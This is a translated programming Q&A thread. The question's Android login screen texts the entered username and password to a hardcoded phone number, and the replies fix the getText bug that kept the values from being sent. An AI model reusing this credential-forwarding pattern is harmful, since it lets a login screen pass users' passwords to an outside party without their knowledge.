2015-08-19 71 views
0

我寫了這個發送我的用戶名和密碼,但它返回false。爲什麼?爲什麼讓文本返回false?

它發送該消息給我的電話:User:falsePass:false

我已經試過charcharSequensestring,...但它總是返回false

package com.example.project6; 
import android.app.Activity; 
import android.os.Bundle; 
import android.telephony.gsm.SmsManager; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget.ImageView; 
import android.widget.Toast; 

@SuppressWarnings("deprecation") 
public class Login extends Activity { 
    private ImageView imageview; 
    private EditText username; 
    private EditText password; 
    private Button save; 
    private String user; 
    private String pass; 
    @Override 
    protected void onCreate(Bundle savedInstanceState) { 
    // TODO Auto-generated method stub 
    super.onCreate(savedInstanceState); 
    setContentView(R.layout.login); 
    init(); 

} 

private void init() { 
    // TODO Auto-generated method stub 
    imageview = (ImageView)findViewById(R.id.imageview); 
    username=((EditText)findViewById(R.id.username)); 
    password=((EditText)findViewById(R.id.password)); 
    save = (Button)findViewById(R.id.save); 
    save.setOnClickListener(new OnClickListener() { 
     @Override 
     public void onClick(View arg0) { 
      // TODO Auto-generated method stub 
      user = getText(R.id.username).toString(); 
      pass = getText(R.id.password).toString(); 
      SmsManager smsManager = SmsManager.getDefault(); 
      smsManager.sendTextMessage("+989132249093", null, "User:"+user+"Pass:"+pass, null, null); 
      Toast.makeText(Login.this,user, Toast.LENGTH_LONG).show(); 
      Toast.makeText(Login.this,pass, Toast.LENGTH_LONG).show(); 
      Toast.makeText(Login.this,"sent", Toast.LENGTH_LONG).show(); 
      } 
     }); 
    } 
} 

請幫我 感謝

回答

0

試試這個...

user = username.getText().toString(); 
pass = password.getText().toString(); 

getText(int resid)Return a localized, styled CharSequence from the application's package's default string table. 如果你有一個字符串strings.xml文件中聲明則返回字符串否則返回false。

1

如果在點擊按鈕時兩個編輯文本都不爲空,這將給用戶和通過值。

username=(EditText) findViewById(R.id.username); 
password =(EditText) findViewById(R.id.password); 
user = username.getText().toString(); 
pass = password.getText().toString(); 
0

你應該這樣做

user = username.getText().toString(); 
pass = password.getText().toString(); 
相關問題